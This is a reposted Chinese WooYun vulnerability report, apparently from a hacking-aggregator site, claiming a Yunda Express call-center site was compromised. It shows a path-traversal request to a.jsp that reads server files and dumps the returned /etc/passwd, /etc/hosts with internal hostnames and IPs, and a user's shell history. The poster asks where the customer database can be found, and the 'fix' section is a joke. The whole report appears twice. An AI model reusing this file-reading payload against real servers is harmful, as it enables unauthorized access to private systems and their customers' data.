记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

韵达快递某站点已被getshell

2014-12-11 02:30

mask 区域
1.http://**.**.**/callcenter_new/file/a.jspsort=1&file=%2Fetc%2Fhosts



#1

code 区域
root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

avahi:x:70:70:Avahi daemon:/:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

avahi-autoipd:x:100:159:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin

gdm:x:42:42::/var/gdm:/sbin/nologin

sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin

nagios:x:500:500::/home/nagios:/bin/bash

mysql:x:101:160:MySQL server:/var/lib/mysql:/bin/bash

oracle:x:501:501::/home/oracle:/bin/bash



#2

code 区域
127.0.0.1localhost

#10.10.14.10 qz.yundasys.com

10.0.16.4 join.yundasys.com

10.0.16.3 kjcx.yundasys.com

#10.0.14.4 join.yundasys.com

10.0.43.106yd43106



内网已知,kjcx.yundasys.com乃快件查询站点,裤子在哪里?

code 区域
export DISPLAY=10.0.2.1:0.0

xclock

/usr/java/jdk1.7.0_25/bin/java -jar wls1211_generic.jar

cd /u02/weblogic/wlserver_12.1/common/bin

./config.sh

vi /u02/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh

mkdir /u02/weblogic/user_projects/domains/base_domain/servers/AdminServer/security -p

cd /u02/weblogic/user_projects/domains/base_domain/servers/AdminServer/security

vi boot.properties

vi /home/oracle/ws.sh

chmod +x /home/oracle/ws.sh

cd

./ws.sh

netstat -anplt |grep 22022

netstat -anplt |grep 22022

ps -ef |grep java

ps -ef |grep java

netstat -anlp |grep java

exit

ls

cd /u02/redis/

ls

su -

ls

exit

ls

cd /u02

ls

ll

mv callcenter_newyw.war callcenter_new.war

cd ..

exit

ls

cd /u02/

ls

exit

ls

cd /u02/

ls

exit

killall java

killall java

killall java

./ws.sh

ls

cd /u02/weblogic/

ls

cd user_projects/domains/base_domain/

ls

tail -f startWebLogic.log

exit

./ws.sh

exit

ls

cd /u02

ls

rm -rf callcenter_new.war

exit

killall java

killall java

killall java

./ws.sh

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

ping 10.0.43.106

exit

killall java

killall java

killall java

./ws.sh

killall java

killall java

./ws.sh

exit

cd /u02

ls

cp callcenter_new.war /home/oracle/

cd

ls

mkdir callcenter_new

ll

cp callcenter_new.war callcenter_new

cd callcenter_new

ls

jar -xvf callcenter_new.war

1;2c1;2c1;2c

ls

rm -rf callcenter_new.war

ll

cd

ls

ll

chown oracle:dba index.js*

ls

ll

cd callcenter_new

ls

cp ../index.jsp ./

ll index.jsp

ls

ls

rm -rf index.jsp

cp ../index.jsp ./

ls

cd js

ls

rm -rf index.js

cp ../../index.js ./

ls

ll index.js

cd ..

ls

jar -cvf callcenter_new.war *

1;2c1;2c1;2c

ls

mv callcenter_new.war callcenter_new.warx

ll

sl

ls

cp callcenter_new.warx /u02/

cd /u02/

ls

killall java

killall java

cd

./ws.sh

top

ls

ps -ef | grep java

./ws.sh

exit

./ws.sh

cd /usr/local/nginx/sbin/

ls

./nginx

exit

cd /u02

ls

exit

ls

./ws.sh

exit

cd /u02/

ls

mv callcenter_new.war0520bak

mv callcenter_new.war callcenter_new.war0520bak

exit

killall java

ls

./ws.sh

exit

./ws.sh

exit

./ws.sh

exit

killall java

killall java

killall java

killall java

killall java

./ws.sh

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

exit

cd /u02

ls

cd weblogic/user_projects/domains/base_domain/

killall java

killall java

killall java

ls

mv startWebLogic.log startWebLogic.loga

cd

./ws.sh

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

vim /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

vim /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

vim /u02/weblogic/user_projects/domains/base_domain/callcenter_jobscheduler.log

ls

exit

./ws.sh

exit

./ws.sh

exit

ls

./ws.sh

ll

df -h

cd callcenter_new

ls

df -h

cd

cd /u02/weblogic/user_projects/domains/base_domain/

ls

df -h

cd

ls

ll

cd /u02/

ll

cd weblogic/

ls

ll

cd user_projects/domains/base_domain/

ls

ls

ll

df -h

df -h

ls

cd

ls

cd callcenter_new

ls

cd logs

ls

ll

cd

ls

cd /

ls

ll

cd /u02

ls

ls

cd redis/

ls

cd log

ls

ll

cd ..

ls

cd conf

ls

cd ..

cd db

ls

cd

ls

cd

ls

cd /u02

ls

cd webapps/

ls

cd callcenter_new/

ls

ll

cd

ls

cd /u02

ls

cd weblogic/

ls

cd logs

ls

ll

cd

cd /u02

ls

cd weblogic/

ls

cd user_projects/domains/base_domain/

ls

w

df -h

df -h

killall java

killall java

killall java

killall java

killall java

./ws.sh

vi /etc/hosts

exit

./ws.sh

cd /usr/local/nginx/logs

echo "" > app_error.log

ll

su - root

crontab -l

crontab -l

crontab -e



漏洞证明:

mask 区域
1.http://**.**.**/callcenter_new/file/a.jspsort=1&file=%2Fetc%2Fhosts



#1

code 区域
root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

avahi:x:70:70:Avahi daemon:/:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

avahi-autoipd:x:100:159:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin

gdm:x:42:42::/var/gdm:/sbin/nologin

sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin

nagios:x:500:500::/home/nagios:/bin/bash

mysql:x:101:160:MySQL server:/var/lib/mysql:/bin/bash

oracle:x:501:501::/home/oracle:/bin/bash



#2

code 区域
127.0.0.1localhost

#10.10.14.10 qz.yundasys.com

10.0.16.4 join.yundasys.com

10.0.16.3 kjcx.yundasys.com

#10.0.14.4 join.yundasys.com

10.0.43.106yd43106



内网已知,kjcx.yundasys.com乃快件查询站点,裤子在哪里?

code 区域
export DISPLAY=10.0.2.1:0.0

xclock

/usr/java/jdk1.7.0_25/bin/java -jar wls1211_generic.jar

cd /u02/weblogic/wlserver_12.1/common/bin

./config.sh

vi /u02/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh

mkdir /u02/weblogic/user_projects/domains/base_domain/servers/AdminServer/security -p

cd /u02/weblogic/user_projects/domains/base_domain/servers/AdminServer/security

vi boot.properties

vi /home/oracle/ws.sh

chmod +x /home/oracle/ws.sh

cd

./ws.sh

netstat -anplt |grep 22022

netstat -anplt |grep 22022

ps -ef |grep java

ps -ef |grep java

netstat -anlp |grep java

exit

ls

cd /u02/redis/

ls

su -

ls

exit

ls

cd /u02

ls

ll

mv callcenter_newyw.war callcenter_new.war

cd ..

exit

ls

cd /u02/

ls

exit

ls

cd /u02/

ls

exit

killall java

killall java

killall java

./ws.sh

ls

cd /u02/weblogic/

ls

cd user_projects/domains/base_domain/

ls

tail -f startWebLogic.log

exit

./ws.sh

exit

ls

cd /u02

ls

rm -rf callcenter_new.war

exit

killall java

killall java

killall java

./ws.sh

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

ping 10.0.43.106

exit

killall java

killall java

killall java

./ws.sh

killall java

killall java

./ws.sh

exit

cd /u02

ls

cp callcenter_new.war /home/oracle/

cd

ls

mkdir callcenter_new

ll

cp callcenter_new.war callcenter_new

cd callcenter_new

ls

jar -xvf callcenter_new.war

1;2c1;2c1;2c

ls

rm -rf callcenter_new.war

ll

cd

ls

ll

chown oracle:dba index.js*

ls

ll

cd callcenter_new

ls

cp ../index.jsp ./

ll index.jsp

ls

ls

rm -rf index.jsp

cp ../index.jsp ./

ls

cd js

ls

rm -rf index.js

cp ../../index.js ./

ls

ll index.js

cd ..

ls

jar -cvf callcenter_new.war *

1;2c1;2c1;2c

ls

mv callcenter_new.war callcenter_new.warx

ll

sl

ls

cp callcenter_new.warx /u02/

cd /u02/

ls

killall java

killall java

cd

./ws.sh

top

ls

ps -ef | grep java

./ws.sh

exit

./ws.sh

cd /usr/local/nginx/sbin/

ls

./nginx

exit

cd /u02

ls

exit

ls

./ws.sh

exit

cd /u02/

ls

mv callcenter_new.war0520bak

mv callcenter_new.war callcenter_new.war0520bak

exit

killall java

ls

./ws.sh

exit

./ws.sh

exit

./ws.sh

exit

killall java

killall java

killall java

killall java

killall java

./ws.sh

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

exit

cd /u02

ls

cd weblogic/user_projects/domains/base_domain/

killall java

killall java

killall java

ls

mv startWebLogic.log startWebLogic.loga

cd

./ws.sh

tail -f /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

vim /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

vim /u02/weblogic/user_projects/domains/base_domain/startWebLogic.log

vim /u02/weblogic/user_projects/domains/base_domain/callcenter_jobscheduler.log

ls

exit

./ws.sh

exit

./ws.sh

exit

ls

./ws.sh

ll

df -h

cd callcenter_new

ls

df -h

cd

cd /u02/weblogic/user_projects/domains/base_domain/

ls

df -h

cd

ls

ll

cd /u02/

ll

cd weblogic/

ls

ll

cd user_projects/domains/base_domain/

ls

ls

ll

df -h

df -h

ls

cd

ls

cd callcenter_new

ls

cd logs

ls

ll

cd

ls

cd /

ls

ll

cd /u02

ls

ls

cd redis/

ls

cd log

ls

ll

cd ..

ls

cd conf

ls

cd ..

cd db

ls

cd

ls

cd

ls

cd /u02

ls

cd webapps/

ls

cd callcenter_new/

ls

ll

cd

ls

cd /u02

ls

cd weblogic/

ls

cd logs

ls

ll

cd

cd /u02

ls

cd weblogic/

ls

cd user_projects/domains/base_domain/

ls

w

df -h

df -h

killall java

killall java

killall java

killall java

killall java

./ws.sh

vi /etc/hosts

exit

./ws.sh

cd /usr/local/nginx/logs

echo "" > app_error.log

ll

su - root

crontab -l

crontab -l

crontab -e



修复方案:

1.挖掘机哪家强?

知识来源: www.wooyun.org/bugs/wooyun-2014-080911

阅读:122030 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“韵达快递某站点已被getshell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云